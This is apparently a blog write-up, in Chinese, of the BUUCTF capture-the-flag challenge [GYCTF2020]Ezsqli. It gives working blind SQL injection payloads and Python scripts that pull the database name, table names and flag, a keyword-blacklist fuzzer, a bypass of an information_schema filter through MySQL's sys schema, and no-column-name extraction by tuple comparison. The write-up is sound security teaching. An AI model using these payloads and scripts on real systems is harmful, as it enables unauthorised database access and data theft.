BUUCTF [GYCTF2020]Ezsqli

[GYCTF2020]Ezsqli

参考:

[GYCTF2020]Ezsqli_[gyctf2020]ezsqli 1-CSDN博客

image-20240130205201490

image-20240130205347942

注入点为POST请求获取的id参数

测试注入点之后,发现不返回报错信息,所以只能采用盲注的方式

测试盲注payload:

payload1:

1
2
POST:
id=0

image-20240130205442224

payload2:

1
2
POST:
id=1

image-20240130205526519

产生两种不同的回显结果,所以可以采用普通盲注

构造普通盲注payload:

payload1:

1
2
POST:
id=1^(ascii(substr(database(),1,1))>32)

测试payload1是否可行:

image-20240130210119907

payload2:

1
2
POST:
id=1^(ascii(substr(database(),1,1))<32)

image-20240130210149711

返回两种不同的结果,所以我们的payload可行

爆数据库名:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
import requests
import time

# url是随时更新的,具体的以做题时候的为准

# 当前注入点的url传输格式:
# ?id=1'+and+length(database())%3D4+%23&Submit=Submit#

url = 'http://aca6d848-9ae8-4a23-8abd-cfbb6e52885c.node5.buuoj.cn:81/index.php'
n = 1
# 对数据库名字第n个字符进行暴力剖解
# payload:1' and ascii(substr(database(),n,1))>100
database_name = ""
database_lenth = 30 # 手动规定数据库名字长度
while n <= database_lenth:
# 从可打印字符开始
begin = 32
end = 126
tmp = (begin + end) // 2
# 对第n个字符进行判断
while (begin < end):
# 根据当前网页url传输格式构造payload
# payload1:用于普通盲注
# payload1 = "1'+and+ascii(substr(database()%2C{}%2C1))>{}+%23".format(n, tmp)
# payload2 = "1^(ascii(substr(database(),{},1))>{})".format(n, tmp)
payload = "1^(ascii(substr(database(),{},1))>{})".format(n, tmp)
data = {
"id": payload
}
# print(begin,end,tmp)
# 构造url请求,并存储返回的网页响应结果
# str = "&Submit=Submit#" # 用于补全网页的url
# print(url + payload2)
# r = requests.get(url + payload2, )
r = requests.post(url=url, data=data)
# 判断该payload所返回的网页是true界面还是false界面
true_text = "Occured"
# print(r.text)
if (true_text in r.text):
# 返回true界面
begin = tmp + 1
tmp = (begin + end) // 2
else:
# 返回flase界面
end = tmp
tmp = (begin + end) // 2
# 最终begin==end,而此时的tmp就是该字符的ascii码
# print(tmp)
print("该数据库的第%d个字符:%c" % (n, chr(tmp)))
database_name = database_name + chr(tmp)
# 对下一个字符进行判断
n = n + 1
print("该数据库的名字为:"+database_name)

image-20240130210805684

爆出数据库名为give_grandpa_pa_pa_pa

爆数据库的表名:

在使用脚本时发现出错,通过测试payload发现存在对sql语句的过滤:

image-20240130211251516

所以要先测试网页对sql语句有哪些过滤:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
import requests
import time
# 打开读取SQL_fuzz文件
with open("SQL_fuzz.txt", "r") as f:
contents = f.readlines()
# print(contents)
# 删除读取数据中的'\n'
data_list = []
for msg in contents:
msg = msg.strip('\n')
# # 字符串根据空格进行分割
# d = msg.split(' ')
data_list.append(msg)
f.close
# print(data_list)

black_list=[]

# 进行fuzz注入
url = "http://aca6d848-9ae8-4a23-8abd-cfbb6e52885c.node5.buuoj.cn:81/index.php"
# GET请求
# for data in data_list:
# da = data
# # da = "1 {}".format(data)
# # da = "1{}".format(data)
# da = "1/**/{}".format(data)
# r = requests.get(url+da)
# # 使用time使请求能够拥有足够的时间去响应
# time.sleep(0.04)
# # 获取过滤网站响应信息
# reponse_txt = "你还想执行"
# if (reponse_txt in r.text):
# black_list.append(data)
# print("该网站过滤了{}".format(data))

# POST请求
for d in data_list:
# da = d
# da = "1 {}".format(d)
da = "1'{}".format(d)
# POST传输json数据
payload = {
"id":da
}
r = requests.post(url=url, data=payload)
time.sleep(0.04)
reponse_txt = "Injection"
# print(r.text)
if (reponse_txt in r.text):
black_list.append(d)
print("该网站过滤了{}".format(d))


print(black_list)

输出:

1
['handler', 'sleep', 'SLEEp', 'delete', 'having', 'or', 'oroR', 'Or', 'oR', 'OR', 'BENCHMARK', 'limit', 'limitLimIt', 'LImit', 'LimIt', 'insert', 'insERT', 'INSERT', 'INFORMATION', 'xor', 'ANDANd', 'And', 'and', 'aNd', 'BY', 'By', 'case', "admin'", 'union', 'UNIon', 'UNION', 'oorr', 'anandd', 'HAVING', 'IF', 'INTO', 'JOIN', 'sleep', 'infromation_schema', 'OR', 'ORDER', 'ORD', 'UNION', 'UPDATE', 'USING', 'AND', 'update', 'delete', 'inset', 'DELETE', 'floor', 'rand()', 'information_schema.tables', 'LIMIT', 'ORD', 'order ', 'by', 'ORDER', 'OUTFILE', 'updatexml', 'instr', 'benchmark', 'format', 'bin', 'substring', 'ord', 'UPDATE', 'for', 'BEFORE', 'in', 'SEPARATOR', 'XOR', 'CURSOR', 'FLOOR', 'INFILE']

测试我们的sql语句有哪些黑名单字符:

1
id=1^(ascii(substr((select(GROUP_CONCAT(TABLE_NAME))from(information_schema.tables)where(TABLE_SCHEMA=database())),1,1))>79)

image-20240130212644911

由于我们的黑名单数据中存在对大小写的过滤,所以需要考虑其他的绕过方式,又因为这里的黑名单数据都是只存在于information_schema.tables中,所以我们只需要将其替代就可以绕过

InnoDb引擎(information_schema.tables的代替):

从MYSQL5.5.8开始,InnoDB成为其默认存储引擎。而在MYSQL5.6以上的版本中,inndb增加了innodb_index_stats和innodb_table_stats两张表,这两张表中都存储了数据库和其数据表的信息,但是没有存储列名。

sys数据库:

在5.7以上的MYSQL中,新增了sys数据库,该库的基础数据来自information_schema和performance_chema,其本身不存储数据。可以通过其中的schema_auto_increment_columns来获取表名。

构造新的payload获取表名:

1
id=1^(ascii(substr((select(GROUP_CONCAT(TABLE_NAME))from(sys.schema_table_statistics_with_buffer)where(TABLE_SCHEMA=database())),1,1))>79)

测试payload:

image-20240130221448487

成功绕过!!!

爆表名脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
import requests
import time

# url是随时更新的,具体的以做题时候的为准

# 登录dvwa的header:
# headers = {'Cookie':'security=low; PHPSESSID=942m2p5g9t4uicc61v7o3gedd7',
# 'Referer':'http://localhost/DVWA/vulnerabilities/sqli_blind/'
# }

# 当前注入点的url传输格式:
# ?id=1'+and+ascii(substr((select+table_name+from+information_schema.tables+where+table_schema%3Ddatabase()+limit+0%2C1)%2C1%2C1))>102+%23&Submit=Submit#

url = 'http://aca6d848-9ae8-4a23-8abd-cfbb6e52885c.node5.buuoj.cn:81/index.php'
# table_len存储每张表的长度
table_len = [80]
# table_name存储每张表的名字
table_name = []
# index存储现在处理的是第index+1张表
index = 0
# 由于获取的是所有表名总字符串,所以只要遍历一次即可
while (index < 1):
name = ""
# n表示当前处理的表所处理的是第n个字符
n = 1
while (n <= table_len[index]):
# 从可打印字符开始
begin = 32
end = 126
tmp = (begin + end) // 2
# 对第n个字符进行判断
while (begin < end):
# 根据当前网页url传输格式构造payload
# payload1:用于普通盲注
# payload1 = "1'+and+ascii(substr((select+table_name+from+information_schema.tables+where+table_schema%3Ddatabase()+limit+{}%2C1)%2C{}%2C1))>{}+%23".format(index, n, tmp)
payload = "1^(ascii(substr((select(GROUP_CONCAT(TABLE_NAME))from(sys.schema_table_statistics_with_buffer)where(TABLE_SCHEMA=database())),{},1))>{})".format(n, tmp)
print(payload)
data = {
"id": payload
}
# print(begin,end,tmp)
# 构造url请求,并存储返回的网页响应结果
# str = "&Submit=Submit#" # 用于补全网页的url
# print(url + payload2)
# r = requests.get(url + payload2, )
r = requests.post(url=url, data=data)
# 判断该payload所返回的网页是true界面还是false界面
true_text = "Occured"
# print(r.text)
if (true_text in r.text):
# 返回true界面
begin = tmp + 1
tmp = (begin + end) // 2
else:
# 返回flase界面
end = tmp
tmp = (begin + end) // 2
# 最终begin==end,而此时的tmp就是该字符的ascii码
name = name + chr(tmp)
# 继续下一个字符
n = n + 1
# 存储该表的表名
table_name.append(name)
# 打印该表的表名
print("第{}张表的名字为{}".format(index+1, name))
# 继续下一个表
index = index + 1
print(table_name)

输出:

image-20240130222124116

数据表名:users233333333333333,f1ag_1s_h3r3_hhhhh

无列名注入法:

由于网页过滤了information_schema,同时sys.schema_table_statistics_with_buffer不存储列名,所以我们无法获取数据库的列名,所以只能采用无列名的方式进行注入:

本地数据库测试:

flag数据表:

image-20240130224759763

sql语句:
1
select * from flag

image-20240130224852251

mysql的元组比较法:

1
2
select (100,'g')>(select * from flag)
元组比较法要求>左右两边的元素数量一致,即(100,'a')为两个元素100和'a',则(select * from flag)查询出来的结果集的字段数量也要为两个,不然就会报错
报错情况:
1
select (100,'g','a')>(select * from flag)

image-20240130225250981

它会要求>后面的操作语句至少查询出三个字段

比较方式:
1
2
3
4
5
6
select (100,'g')>(select * from flag)
它会先将(100,'g')的第一个元素和(select * from flag)的第一个字段元素进行比较,如果是数值型则直接比较数值大小,如果100大于(select * from flag)的第一个字段元素,则直接返回true,即1

如果100等于(select * from flag)的第一个字段元素则继续比较(100,'g')的第二个元素'g'与(select * from flag)的第二个字段元素的大小,字符串的大小比较和c语言的strcmp()相似,从字符串的头一个字符开始比较,如果前面的字符串的第一个字符大于后一个字符串的第一个字符则返回1,小于则直接返回0,相等继续比较第一个字符串的第二个字符和第二个字符串的第二个字符,以此类推,直到最后一个字符

如果100小于(select * from flag)的第一个字段元素则直接返回false,即0

了解了mysql的元组比较法,我们知道我们需要清楚表的字段个数,使用payload进行测试

构造payload获取表字段数:

payload1:

1
id=1^(select (100)>(select * from f1ag_1s_h3r3_hhhhh))

image-20240130230708594

返回错误,即没有返回0或1的两种响应信息,说明sql语句发生报错,所以字段数不是1

payload2:

1
id=1^(select (100,111)>(select * from f1ag_1s_h3r3_hhhhh))

image-20240130230831104

返回0时的页面信息,所以可以证明f1ag_1s_h3r3_hhhhh表的字段数为2,接下来就要确定f1ag_1s_h3r3_hhhhh表的第一个字段的值为多少

构造payload证明f1ag_1s_h3r3_hhhhh表第一个字段不是以flag{开头:

1
id=1^(select ('flag{',1)>(select * from f1ag_1s_h3r3_hhhhh))

因为flag都已flag{xxxxx}的形式存在,所以如果第一个字段为flag{xxxx},则该payload应该返回1^0:
image-20240130232051526

返回的是1^0的情况,所以可以说明第一个字段不是flag所在字段,这里如果返回的是1^1的情况时,可能还需要考虑更多的情况,因为如果第一个字段的值确实比flag{大如g666,则就无法确定flag所在字段了,但返回1^0,则可以说明flag绝对不在第一个字段,一般来说,数据库表的第一个字段都是id,所以我们可以直接猜第一个字段的值为0,1,2,3,4,5……..,一般id都从1开始

构造最终payload:

1
id=1^(select (1,'xxxx')>(select * from f1ag_1s_h3r3_hhhhh))

脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import requests
import time
url = 'http://9663941a-5bd2-4516-9b2b-8df811ed2df8.node5.buuoj.cn:81/index.php'
flag = ''
for i in range(1, 50):
begin = 32
end = 128
tmp = (begin + end) // 2
while (begin < end):
# print("tmp:{}".format(tmp))
k = flag + chr(tmp)
# print("k:{}".format(k))
# 完善payload
payload = "1^((select * from f1ag_1s_h3r3_hhhhh)>(1,'{}'))".format(k)
data = {"id": payload}
print(payload)
r = requests.post(url=url, data=data)
time.sleep(0.3)
# 1^1的返回内容,true的情况
true_text = "Occured"
if true_text in r.text:
begin = tmp + 1
else:
# 返回flase界面
end = tmp
tmp = (begin + end) // 2
if tmp == 33:
break
# 输出flag
flag = flag + chr(tmp-1)
print("{}:flag为:{}".format(i, flag))
# 输出完整的flag
print(flag.lower())

输出:

image-20240131005542728

flag=flag{8999877f-b643-40e3-822c-86d8604fd977}


BUUCTF [GYCTF2020]Ezsqli
http://example.com/2024/02/03/2024-2-3-Ezsqli/
作者
South
发布于
2024年2月3日
许可协议